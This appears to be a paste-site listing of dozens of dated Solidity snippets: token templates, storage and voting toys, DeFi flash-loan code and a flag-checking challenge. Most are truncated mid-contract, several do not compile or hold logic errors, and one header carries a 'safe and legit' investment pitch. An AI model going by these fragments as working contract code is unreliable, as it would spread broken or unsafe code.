            return (mid, tAmountAvarage);
        
Dec 29, 2020 19:33:30 UTC
pragma solidity ^0.7.0;

contract DStock{
    
    uint public assetCount;
    uint public personCount;
    uint public transactionCount;
    
    struct asset{
        uint assetId;
        string hash;
        address creatorAddress;
        uint cost;
        uint soldCount;
    }
    
    struct person{
        uint personId;
        address personAddress;
        uint earning;
        uint tokenCount;
        uint[] assetsUploaded;
        uint[] assetsBought;
        bool initialized;
    }
    
    mapping (uint => asset) public assets;
    mapping (uint => person) public persons;
    mapping  (address=> uint) public  getMyId;
    
    function initializePerson() private {
        if(persons[getMyId[msg.sender]].initialized == true) { return; }
        persons[personCount].personId = personCount;
        persons[personCount].personAddress = msg.sender;
        persons[personCount].earning= 0;
        persons[personCount].tokenCount = 0 ;
        persons[personCount].initialized = true;
        persons[
Dec 29, 2020 18:22:10 UTC
pragma solidity ^0.6.12;
contract SimpleStore {
  
  uint256 [] private _allAmountArray;

  uint256 _low = 20;

  function _getMid() private return(uint256){
    return findAmountAverage(_allAmountArray, _low);
  }
  
  function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {

      if (array.length == 0 || _low > array.length) {
          return 0;
      }
      uint256 low = array.length.sub(_low);
      uint256 high = array.length;

      while (low < high) {
        uint256 tLastAmount = 0;
        uint256 lowAmount = array[low];
        tLastAmount = tLastAmount.add(lowAmount);
        low += 1;
      } 
      uint256 mid = tLastAmount.div(_low)

      return mid;
  }

  function transfer(address recipient, uint256 amount) public override returns (bool) {
          require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
          _transfer(_msgSender(), recipient, amount);
          return true;
  }

Dec 29, 2020 10:38:17 UTC
uint256 [] private _allAmountArray;

uint256 _low = 20;

function _getMid() private return(uint256){
  return findAmountAverage(_allAmountArray, _low);
}

function findAmountAverage(uint256[] storage array, uint256 _low) internal view returns (uint256) {

    if (array.length == 0 || _low > array.length) {
        return 0;
    }
    uint256 low = array.length.sub(_low);
    uint256 high = array.length;

    while (low < high) {
      uint256 tLastAmount = 0;
      uint256 lowAmount = array[low];
      tLastAmount = tLastAmount.add(lowAmount);
      low += 1;
    } 
    uint256 mid = tLastAmount.div(_low)

    return mid;
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
        require(amount <= _getMid(), "Require the amount must be less than last 20 transaction average ");
        _transfer(_msgSender(), recipient, amount);
        return true;
Dec 29, 2020 10:35:36 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract SimpleContract {

Dec 28, 2020 00:42:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Dec 26, 2020 07:48:07 UTC
pragma solidity ^0.4.18;

contract SimpleContract {
  function viewFunction() view returns (string) {
    return "viewFunction is called";
  }

  function pureFunction() pure returns (string) {
    return "pureFuncion is called";
  }

Dec 23, 2020 06:55:55 UTC
pragma solidity ^0.4.18;

contract SimpleContract {
  function viewFunction() view returns (string) {
    return "viewFunction is called";
  }

  function pureFunction() pure returns (string) {
    return "pureFuncion is called";
  }

Dec 23, 2020 06:37:41 UTC
pragma solidity ^0.7.1;

contract A {
  uint8 a = 0;
}

contract B {
  uint256 a = 0;
Dec 17, 2020 15:41:57 UTC
pragma solidity ^0.5.0;

contract MySolidity Test{

uint Data:

constructor() public{

sData = 10;
}
function getResult(uint n) public view returns(uint){

uint x = n+1:

while(true)
{
if(x =0)
break:
}
return x;
}
Dec 15, 2020 04:46:19 UTC
pragma solidity ^0.5.12;

contract BlockBank {

  uint numberOfAccounts = 0;
  uint maxAccountCount = 10;

  struct AccountBalance {
    address owner;
    uint balance;
  }

  mapping(address => AccountBalance) accounts;


  function isAccountExists(address accountAddress) returns(bool) {
    return true;
  }
  function openAccount() payable public {
        require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
        require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
        
        accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
        numberOfAccounts++;
    }  
}
Dec 08, 2020 14:18:36 UTC
pragma solidity ^0.5.12;

contract BlockBank {

  uint numberOfAccounts = 0;
  uint maxAccountCount = 10;

  struct AccountBalance {
    address owner;
    uint balance;
  }

  mapping(address => AccountBalance) accounts;


  function isAccountExists(address accountAddress) returns(bool) {
    return true;
  }
  function openAccount() payable public {
        require(!isAccountExists(msg.sender)); // modifier ile yapilir mi?
        require(numberOfAccounts < maxAccountCount); // modifier ile yapilir mi?
        
        accounts[msg.sender] = AccountBalance(msg.sender, msg.value);
        numberOfAccounts++;
    }  
}
Dec 08, 2020 13:13:57 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Counter {
  uint value;
  function initialize(uint x) public {
    value=x;
  }
  function get() view public returns (uint) {
    return value;
  }

function increment(uint n) public{
  value=value+n;
}
function decrement(uint n)public {
  value=value-n;
}

  uint value;
Nov 30, 2020 14:36:30 UTC
 pragma solidity ^0.4.26;

 library SafeMath {

       function mul(uint256 a, uint256 b) internal pure returns (uint256) {
                 if (a == 0) {
                               return 0;
                 }
                         uint256 c = a * b;
                                 assert(c / a == b);
                                         return c;
       }

           function div(uint256 a, uint256 b) internal pure returns (uint256) {
                     uint256 c = a / b;
                             return c;
           }

               function sub(uint256 a, uint256 b) internal pure returns (uint256) {
                         assert(b <= a);
                                 return a - b;
               }

                   function add(uint256 a, uint256 b) internal pure returns (uint256) {
                             uint256 c = a + b;
                                     assert(c >= a);
                                             return c;
                   }

 }

 contract Ownable 
Nov 29, 2020 17:39:55 UTC
/**
 *Submitted for verification at Etherscan.io on 2020-11-22
*/

// SPDX-License-Identifier: MIT
//ScarcityDeFi.org
//t.me/ScarcityDeFi
/*##################################################
* ############  SCARCE DeFi Token  #################
* ##################################################
*
* ##################################################
* ############# ScarcityDeFi.org ###################
* ##################################################
**/
pragma solidity 0.7.0;
 
interface IERC20 {
  function totalSupply()                                         external view returns (uint256);
  function balanceOf(address who)                                external view returns (uint256);
  function allowance(address owner, address spender)             external view returns (uint256);
  function transfer(address to, uint256 value)                   external      returns (bool);
  function approve(address spender, uint256 value)               external      returns (bool);
  function transferFrom(address fr
Nov 27, 2020 09:14:15 UTC
pragma solidity =0.6.6;

import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol';

import '../libraries/UniswapV2Library.sol';
import '../interfaces/V1/IUniswapV1Factory.sol';
import '../interfaces/V1/IUniswapV1Exchange.sol';
import '../interfaces/IUniswapV2Router01.sol';
import '../interfaces/IERC20.sol';
import '../interfaces/IWETH.sol';

contract ExampleFlashSwap is IUniswapV2Callee {
    IUniswapV1Factory immutable factoryV1;
    address immutable factory;
    IWETH immutable WETH;

    constructor(address _factory, address _factoryV1, address router) public {
        factoryV1 = IUniswapV1Factory(_factoryV1);
        factory = _factory;
        WETH = IWETH(IUniswapV2Router01(router).WETH());
    }

    // needs to accept ETH from any V1 exchange and WETH. ideally this could be enforced, as in the router,
    // but it's not possible because it requires a call to the v1 factory, which takes too much gas
    receive() external payable {}

    // gets tokens/WETH via a V2 flash swap, swaps for 
Nov 25, 2020 22:21:06 UTC
pragma solidity ^0.4.16;

interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }

contract TokenERC20 {
    string public name;
    string public symbol;
    uint8 public decimals = 18;  // 18 是建议的默认值
    uint256 public totalSupply;

    mapping (address => uint256) public balanceOf;  //
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Burn(address indexed from, uint256 value);


    function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
        totalSupply = initialSupply * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        name = tokenName;
        symbol = tokenSymbol;
    }


    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_t
Nov 20, 2020 07:03:10 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract krishna  
{ 

    uint public m = 249; 
    uint public v = 6 ; 
    uint public count = 0;
   
    function HashIt(uint k) public returns (uint)  
    { 
        count++;
        uint mo= mod(k);
        uint su=sum(mo); 
        return su; 
    } 

    function mod(uint k) view public returns (uint)
    {
      uint mo=k%m;
      return mo;
    }

    function sum(uint s) view public returns (uint)
    {
      uint su=s+v;
      return su;
    }
Nov 14, 2020 17:59:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract CFunding {

  struct Funder {
    address funder;
    uint256 amount;
  }

  struct Project {
    address owner;
    uint256 currentFunds;
    uint32 fundingGoal;
    uint64 endTimeStamp;
    Funder[] funders;
  }

  mapping(uint32 => Project) data;

  function fund(uint32 id) public payable {
    if (now > data[id].endTimeStamp)
      revert();
    data[id].currentFunds += msg.value;
    if (data[id].currentFunds > data[id].fundingGoal)
      payout(id);
      return;
  }

  function startProject(uint32 fundingGoal, uint64 endTime, uint32 id) public {
    data[id].owner = msg.sender;
    data[id].endTimeStamp = endTime;
    data[id].fundingGoal = fundingGoal;
    data[id].currentFunds = 0;
  }

  function payout(uint32 id) internal {
    data[id].currentFunds = 0;
  }
Nov 13, 2020 13:25:30 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.6;
import "https://github.com/provable-things/ethereum-api/blob/master/provableAPI_0.6.sol";

contract EthCostContract is usingProvable {

   uint256 public ETHUSD;
   uint256 public USDDiesel;
   uint256 public ETHDiesel;
   mapping(bytes32=>bool) validIds;
   mapping(bytes32=>bool) validIdsDiesel;
   event LogConstructorInitiated(string nextStep);
   event LogPriceUpdated(string price);
   event LogNewProvableQuery(string description, uint queryPrice);

   //Solidity 0.6 necesita specificarea modificatorului de acces pentru constructor
   constructor () public payable{
       emit LogConstructorInitiated("Constructor was initiated. Call 'updatePrice()' to send the Provable Query.");
   }
   
   function pay() public payable {}
    
   function balance() public view returns(uint256)  {
       return address(this).balance;
   }

   function updatePrice() public payable {
       
       uint queryPrice = provable_getPrice("URL");
       
       if (2 * quer
Nov 06, 2020 15:43:05 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract C {
    uint256 numOwners = 4;
    function eightyPercentSigned(uint256 sigsCount)
        public //modified so I can call it
        view
        returns (bool)
    {
        uint256 eightyPercentRequiredConfirmations = (numOwners * 80) / 100;
        return sigsCount >= eightyPercentRequiredConfirmations;
    }
}
Nov 04, 2020 11:42:21 UTC
pragma solidity ^0.6.8;



interface ICERC20  {
    function mint(uint256) external returns (uint256);

    function redeem(uint256) external returns (uint256);

    function exchangeRateStored() external view returns (uint256);

    function exchangeRateCurrent() external returns (uint256);

    function getCash() external returns (uint256);

    function accrueInterest() external returns (uint256);

    function totalBorrowsCurrent() external returns (uint256);

    function totalReserves() external returns (uint256);

    // Links to public address variable from CERC200Storage
    function underlying() external returns (address);
}




contract cTokenClient { 
    
    address cToken; 
    
    constructor(address _cToken) public {
        
        cToken = _cToken;
        
    }
    
    // Single call cost is 40763 
    function callExchangeRateStored() public returns (uint256) {
        return ICERC20(cToken).exchangeRateStored();
    }
    

    // Cost of doing 11 calls is 254739
    // Doing it exte
Oct 27, 2020 15:06:37 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 26, 2020 21:39:28 UTC
pragma solidity ^0.4.26;

contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a == 0 || c / a == b);
    }
    function safeDiv(uint a, uint b) public pure returns (uint c) {
        require(b > 0);
        c = a / b;
    }
}


// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, addr
Oct 21, 2020 21:11:21 UTC
function transfer(address to, uint256 value) public returns (bool) {
    require(value <= _balances[msg.sender]);
    require(to != address(0));
    
 
    uint256 tokensToBurn = findPercent(value);
    uint256 tokensToTransfer = value.sub(tokensToBurn);
    
    uint256 tokensToStake = findStakePercent(value);
    uint256 stakeToTransfer = value.sub(tokensToStake);
    
    uint256 tokenPercent = findTokenPercent(value);
    uint256 tokenValue = value.sub(tokenPercent);
    
    // uint256 tokenValue = value.sub(stakeToTransfer.add(tokensToTransfer));

    _balances[msg.sender] = _balances[msg.sender].sub(value); 
    _balances[to] = _balances[to].add(tokenValue);
    _balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979] = _balances[0xbF0aa655dBa978f72Bd7f37ca9504be1DC629979].add(tokensToBurn);
    _balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4] = _balances[0x3eCb9A2441e485fAef37f5B6AAC36a6ea22092F4].add(tokensToStake);
    
    emit Transfer(msg.sender, to, tokensToTransfer);
    // burns to this addr
Oct 18, 2020 22:43:18 UTC
pragma solidity >=0.4.14 <0.7.0;


contract Challenge {
    event Log(string);
    
    uint256[][] data = [[0, 10, 8, 9, 8, 22637],[11, 6, 2, 13, 0, 16996],[13, 5, 1, 0, 10, 24429],[0, 11, 11, 8, 9, 25181],[1, 3, 8, 3, 4, 26727],[4, 4, 9, 9, 6, 24428],[7, 5, 9, 2, 10, 17774],[2, 4, 4, 9, 0, 31858],[10, 11, 12, 9, 6, 24682],[11, 12, 10, 9, 2, 17526],[6, 1, 3, 0, 11, 21355],[1, 9, 8, 6, 0, 23638],[6, 11, 8, 9, 7, 23647],[11, 7, 10, 7, 11, 24431]];
    uint256[] csts;
    uint256 checksum = 7702;
    

    function check(string memory flag)  private returns (bool){
        bytes memory b = bytes(flag);
        if( b.length != 28) {
            return false;
        }
        
        for(uint256 i=0;i<b.length/2;i++){
            csts.push((uint256(uint8(b[i*2])) * 256) + uint256(uint8(b[i*2+1])) );
        }
        
        uint256 x;
        for(uint256 i=0;i<14;i++){
            x = csts[data[i][0]] ^ csts[data[i][1]] ^ csts[data[i][2]] ^ csts[data[i][3]] ^ csts[data[i][4]];
            emit Log("here");
  
Oct 14, 2020 23:46:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  int uz;
  
  uint value;
Oct 13, 2020 15:53:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
    data=_data
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 11, 2020 17:06:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract DubsStore {
  function set(uint _dubs) public {
    dubs = _dubs;
  }

  function get() public constant returns (uint) {
    return dubs;
  }

  uint dubs;
Oct 10, 2020 11:57:40 UTC
/*
 * 
 *   TRONex - investment platform based on TRX blockchain smart-contract technology. Safe and legit!
 *
 *   ┌───────────────────────────────────────────────────────────────────────┐  
 *   │   Website: https://tronex.net                                         │
 *   │                                                                       │  
 *   │   Telegram Live Support: https://t.me/tronexsupport                   |
 *   │   Telegram Public Group: https://t.me/tronexgroup                     |
 *   │   Telegram News Channel: https://t.me/tronexnews                      |
 *   |                                                                       |
 *   |   Twitter: https://twitter.com/tronex_net                             |
 *   |   YouTube: https://www.youtube.com/channel/UCw3ck_M-JGnEkAph4Bb2HYQ   |
 *   |   E-mail: [email protected]     
Oct 03, 2020 23:51:18 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.3;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;256
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Oct 01, 2020 08:05:08 UTC
pragma solidity >=0.4.22 <0.7.0;


interface IStorage {
    
    function store(uint256 num) external;
    function retrieve() external view returns (uint256);
}

/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Storage is IStorage {

    uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function store(uint256 num) external override {
        number = num;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function retrieve() public view override returns (uint256){
        return number;
    }
}

contract A {
    
    function retrieve(address _s) public returns (uint256) {
        IStorage s = IStorage(_s);
        s.retrieve();
        s.retrieve();
    }
    
    function retrieveB(address _s) public returns (uint256) {
        IStorage(_s).retrieve();
        IStorage(_s).retrieve();
    }
    
Sep 30, 2020 16:47:27 UTC
pragma solidity >=0.4.22 <0.7.0;


interface IStorage {
    
    function store(uint256 num) external;
    function retrieve() external view returns (uint256);
}

/**
 * @title Storage
 * @dev Store & retrieve value in a variable
 */
contract Storage is IStorage {

    uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function store(uint256 num) external override {
        number = num;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function retrieve() public view override returns (uint256){
        return number;
    }
}

contract A {
    uint256 a =1;
    
    function retrieve(address _s) public returns (uint256) {
        IStorage s = IStorage(_s);
        s.retrieve();
        s.retrieve();
    }
    
    function retrieveB(address _s) public returns (uint256) {
        IStorage(_s).retrieve();
        IStorage(_s).retrieve();
    }
    
Sep 30, 2020 16:46:19 UTC
/**
 *Submitted for verification at Etherscan.io on 2017-12-28
*/

pragma solidity ^0.4.8;

/**
 * Math operations with safety checks
 */
contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }

  function safeSub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }
}
contract CST is SafeMath{
    string public name;
    string public symbol;
    address public owner;
    uint8 public decimals;
    uint256 public totalSupply;
    address public icoContractAddress;
    uint256 public  tokensTotalSupply =  210 * (10**6) * 10**18;
    mapping (address => bool) restricted
Sep 30, 2020 02:37:41 UTC
pragma solidity ^0.4.24;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 0;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }

    
Sep 21, 2020 01:02:36 UTC
/**
 *Submitted for verification at Etherscan.io on 2017-12-28
*/

pragma solidity ^0.4.8;

/**
 * Math operations with safety checks
 */
contract SafeMath {
  function safeMul(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function safeDiv(uint256 a, uint256 b) internal returns (uint256) {
    assert(b > 0);
    uint256 c = a / b;
    assert(a == b * c + a % b);
    return c;
  }

  function safeSub(uint256 a, uint256 b) internal returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function safeAdd(uint256 a, uint256 b) internal returns (uint256) {
    uint256 c = a + b;
    assert(c>=a && c>=b);
    return c;
  }
}
contract CST is SafeMath{
    string public name;
    string public symbol;
    address public owner;
    uint8 public decimals;
    uint256 public totalSupply;
    address public icoContractAddress;
    uint256 public  tokensTotalSupply =  210 * (10**6) * 10**18;
    mapping (address => bool) restricted
Sep 19, 2020 15:39:11 UTC
pragma solidity ^0.4.24;

// ----------------------------------------------------------------------------
// 'WannadiToken' token contract
//
// Deployed to : 0x3116E7801990d294687398ED6b40B5bFbEAfd67f
// Symbol      : WNDI
// Name        : WannadiToken
// Total supply: 100000000
// Decimals    : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------


// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
    function safeAdd(uint a, uint b) public pure returns (uint c) {
        c = a + b;
        require(c >= a);
    }
    function safeSub(uint a, uint b) public pure returns (uint c) {
        require(b <= a);
        c = a - b;
    }
    function safeMul(uint a, uint b) public pure returns (uint c) {
        c = a * b;
        require(a 
Sep 12, 2020 16:04:15 UTC
pragma solidity ^0.5.0;

contract User
{
    
    struct UserInfo
    {
        string username;
        bool exist;
    }
    
    mapping(uint256=>UserInfo) public Users;
    mapping(address=>uint256) public userByAddr;
    uint256[] usersList;
    
	
    function setUser(string memory _userid,string memory _username) public
    {
        uint256 id = uint256(keccak256(abi.encodePacked(_userid)));
        usersList.push(id);
        Users[id].exist = true;
        Users[id].username = _username;
        userByAddr[tx.origin] = id;
    } 
Sep 12, 2020 02:42:59 UTC
pragma solidity >=0.4.22 <0.7.0; 
contract voting {
struct Voter {
        uint weight;
        bool if_voted;
        address delegated_to;
        uint vote;
    }
struct Proposal {
        bytes32 name;
        uint voteCount;
    }

    address public chairperson;
      mapping(address => Voter) public voters;
      Proposal[] public proposals;
      constructor(bytes32[] memory proposalNames) public {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;

        for (uint i = 0; i < proposalNames.length; i++) {
            proposals.push(Proposal({
                name: proposalNames[i],
                voteCount: 0
            }));
        }
    }
    function giveRightToVote(address voter) public {
        require(
            msg.sender == chairperson,
            "Only the chairperson can assign voting rights."
        );
        require(
            !voters[voter].voted,
            "The voter has used their ballot."
        );
        require(voters[voter].weight == 0);
       
Sep 11, 2020 04:32:51 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15f.+commit.bbb8e64
pragma solidity ^0.5.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
d
  uint value;
Sep 07, 2020 06:54:55 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 05, 2020 15:51:51 UTC
pragma solidity ^0.4.24;

library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Ownable {
  address public owner;

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  constructor() public {
    owner =
Sep 04, 2020 10:32:18 UTC
pragma solidity 0.7.1;
pragma experimental ABIEncoderV2;

contract ShinonomeContract {
  // Genderは列挙型で定義する. リーダビリティに寄与する他、booleanではisFemale等のkeyになるのはよろしくないため。
  enum Gender {
    Female,
    Male
  }
  
  /***
   * structの命名はPascalCase.
   * ageは2^16-1 = 65535もあれば十分.
   * 今回は最適化されないが、常に必要なだけのbit数のIntegerを用いるよう気をつける.
   * structの最適化については、https://mudit.blog/solidity-gas-optimization-tips/
   */
  struct Member {
    string name;
    uint16 age;
    Gender gender;
  }

  /***
   * 変数は基本的にprivateにする。
   * publicであると自動でgetterメソッドが生えてしまう。
   * プログラムの責任範囲を明確にするために、自前でgetterを用意する.
   */
  mapping(address => Member) private addressToMember;

  /***
   * 関数は問題がない限りexternalにする。gasコスト
Sep 04, 2020 06:49:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 44;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }
}
 
Sep 01, 2020 14:25:35 UTC
contract mortal {
    /* Define variable owner of the type address */
    address owner;
    string str;

    /* This function is executed at initialization and sets the owner of the contract */
    function mortal() { owner = msg.sender; }

    /* Function to recover the funds on the contract */
    function kill() { if (msg.sender == owner) selfdestruct(owner); }


    function set(string val) public {
        str = val;
    }

    function get() public constant returns (string) {
        return str;
    }
Sep 01, 2020 11:03:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.21;

contract PAYGOReceivable {
  // Property for storing the contract owner
  address public owner;
  // Coutner property, used for new monster ids
  uint256 paygo_serial = 0;
  uint256 total_amount = 0;
  uint256 amount_paid = 0;
  uint256 timestamp_start = 0;
  uint256 timestamp_maturity = 0;

  // Struct, defining our Cookie Monster with name, id and level fields
  struct CookieMonster {
    string name;
    uint256 id;
    uint16 level;
  }

  // Array of all of the created Monsters
  CookieMonster[] public monsters;

  // Constructor function, setting the contract owner from msg.sender
  function CryptoCookieMonsters() public {
    owner = msg.sender;
  }

  function amountMonsters() public view returns (uint256) {
    return monsters.length;
  }

  // Function for creating new CookieMonster
  function createCookieMonster() public  {
    // Created new monster with name Test Monster, id from coun
Aug 31, 2020 20:34:07 UTC
pragma solidity ^0.5.17;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 25, 2020 02:08:08 UTC
//Code written for SamPriestley.com
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;

//The code written by money-legos to make flash loans easier
import "../Contract/DydxFlashLoanBase.sol";
import "../Contract/Interfaces/ICallee.sol";

//Interfaces to call outside contracts
interface IErc20 {
    function approve(address, uint256) external returns (bool);

    function transfer(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint);
}

interface ICErc20 is IErc20{
    function mint(uint mintAmount) external returns (uint);
    function borrow(uint borrowAmount) external returns (uint);
    function underlying() external returns (address);
}
interface IComptroller{ 
    function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
}

contract CompFarmer is DydxFlashloanBase, ICallee {
    address public immutable contractOwner;

    //Addresses of outside currencies
    address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694
Aug 24, 2020 16:24:42 UTC
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;

// The code written by money-legos to make flash loans easier
import "../Contract/DydxFlashLoanBase.sol";
import "../Contract/Interfaces/ICallee.sol";

//Interfaces to call outside contracts
interface IErc20 {
    function approve(address, uint256) external returns (bool);

    function transfer(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint);
}

interface ICErc20 is IErc20{
    function mint(uint mintAmount) external returns (uint);
    function borrow(uint borrowAmount) external returns (uint);
    function underlying() external returns (address);
}
interface IComptroller{ 
    function enterMarkets(address[] calldata cTokens) external returns (uint[] memory);
}

contract CompFarmer is DydxFlashloanBase, ICallee {
    address public immutable contractOwner;

    //Addresses of outside currencies
    address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
    address private 
Aug 24, 2020 16:19:54 UTC
pragma solidity ^0.5.17;

import "./ERC20.sol";
import "./PortLibrary.sol";
//import "./StarSystemControls.sol";


contract rbitToken is ERC20 {
    
    using PortLibrary for PortLibrary.PortStorage;
    PortLibrary.PortStorage Ports;
    
    // when this contract runs for the first time.
    // It deposits 1000 tokens into the contract owner address
    
    constructor() public {
        _mint(msg.sender, 1000);
    }
    
    function claimPortRewards(uint256 id,address owner) public returns(bool) {
        
        // Idea is to get port owner's address and check whether it is empty.
        // As of now ports are not being traded so once claimed owner will always remain the same.
        
        owner = Ports.ports[id].owner;
        require(owner != address(0));
        
        // if the condition satisfies then mint 100 tokens to his name
        
        _mint(owner,100);
        
        return true;
    }
Aug 20, 2020 10:11:54 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 17, 2020 23:36:22 UTC
pragma solidity >=0.4.22 <0.6.0;
contract Ballot {

    struct Voter {
        uint weight;
        bool voted;
        uint8 vote;
        address delegate;
    }
    struct Proposal {
        uint voteCount;
    }

    address chairperson;
    mapping(address => Voter) voters;
    Proposal[] proposals;

    // Create a new ballot with $(_numProposals) different proposals.
    constructor(uint8 _numProposals) public {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;
        proposals.length = _numProposals;
    }

    // Give $(toVoter) the right to vote on this ballot.
    // May only be called by $(chairperson).
    function giveRightToVote(address toVoter) public {
        if (msg.sender != chairperson || voters[toVoter].voted) return;
        voters[toVoter].weight = 1;
    }

    /// Delegate your vote to the voter $(to).
    function delegate(address to) public {
        Voter storage sender = voters[msg.sender]; // assigns reference
        if (sender.voted) return;
        wh
Aug 14, 2020 14:35:52 UTC
// SPDX-License-Identifier: MIT

